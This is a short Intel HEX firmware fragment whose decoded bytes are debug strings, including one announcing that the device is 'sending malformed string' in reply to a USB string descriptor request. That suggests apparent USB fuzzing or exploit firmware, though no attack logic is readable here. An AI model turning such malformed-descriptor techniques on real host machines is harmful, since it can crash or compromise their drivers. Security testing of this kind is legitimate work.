    :1017B00044454255475D203C3C70616E6963206D35
    :1017C0006F64653F3E3E0D0A005B44454255475DF0
    :1017D0002009203E3E20537472696E672044657371
    :1017E00063726970746F72207265717565737420AD
    :1017F0002D2073656E64696E67206D616C666F7213
    :101800006D656420737472696E67212073657475E9
    :10181000702E7756616C75654C203D3D2025690D15
    :101820000A005B48455844554D505D0A0D0025306F
    :04183000325820000A
    :00000001FF